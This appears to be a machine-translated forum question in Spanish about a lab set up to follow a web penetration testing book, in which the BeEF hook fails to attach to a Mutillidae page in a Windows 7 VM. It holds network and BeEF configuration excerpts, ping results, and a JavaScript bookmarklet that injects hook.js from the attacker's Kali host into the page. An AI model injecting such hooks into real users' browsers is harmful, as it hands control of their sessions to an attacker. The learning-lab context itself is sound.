Estoy leyendo "Pruebas prácticas de penetración web". Estoy usando VirtualBox para ejecutar dos máquinas virtuales: Windows 7 con Mutillidae y KaliLinux donde quiero usar Beef. Ambos están conectados a una red Nat 10.0.2.0/24.
Como se dice en el libro, configuré el KaliLinux para tener una IP estática modificando /etc/network/interfaces
:
source /etc/network/interfaces.d/*
# The loopback network interface
auto lo
iface lo inet loopback
#Static IP Address
auto eth0
iface eth0 inet static
address 10.0.2.99
netmask 255.255.255.0
network 10.0.2.0
broadcast 10.0.2.255
gateway 10.0.2.1
Mi máquina virtual de Windows tiene IP 10.0.2.4.
Ahora estoy tratando de configurar la carne de vacuno. Cuando abro una pestaña en cada uno de los navegadores de estas máquinas virtuales para http://10.0.2.99:3000/demos/basic.html
, efectivamente, los navegadores se enganchan como navegadores en línea en el panel de la interfaz de usuario.
Pero quiero tener un gancho en Mutillidae. Hay un botón para que se copie como un marcador para agregar el archivo hook.js para una página web determinada:
javascript: (function () { var url = 'http://10.0.2.99:3000/hook.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();
Cuando lo ejecuto en cualquiera de los navegadores de VM, abierto en http://10.0.2.4/mutillidae/index.php
, no funciona. El archivo hook.js
se carga, puedo verlo en firebug. Pero el navegador nunca se "engancha": no puedo verlo en el panel de carne.
Incluso modifiqué esta parte de /etc/beef-xss/config.yaml
:
# Reverse Proxy / NAT
# If BeEF is running behind a reverse proxy or NAT
# set the public hostname and port here
public: "10.0.2.99" # public hostname/IP address
#public_port: "" # experimental
E hice algunas investigaciones pero nada ...
Algunas cosas raras (¿o es eso normal?):
Desde Kali 10.0.2.99
ping 10.0.2.99 - OK
ping 10.0.2.4 - KO --> But I can access 10.0.2.4/mutillidae/ !
ping 10.0.2.1 - OK
ping 10.0.2.0 -b - KO --> shouldn't I get answers from myself and gateway at least?
Desde W7 10.0.2.4
ping 10.0.2.99 - OK --> So it works in that direction but not in the other? And I can access beef's panel, demo, or hook.js
ping 10.0.2.4 - OK
ping 10.0.2.1 - OK
ping 10.0.2.0 - KO --> Reply from 10.0.2.4: Destination host unreachable. Is this why Kali can't access W7?
¿Por qué no puedo configurar un gancho en Mutillidae en Win7 VM conectado a la misma red Nat que Kali VM?
Gracias.
Si necesitas más detalles para ayudarme, no lo dudes. Editaré mi pregunta para ayudarte a ayudarme.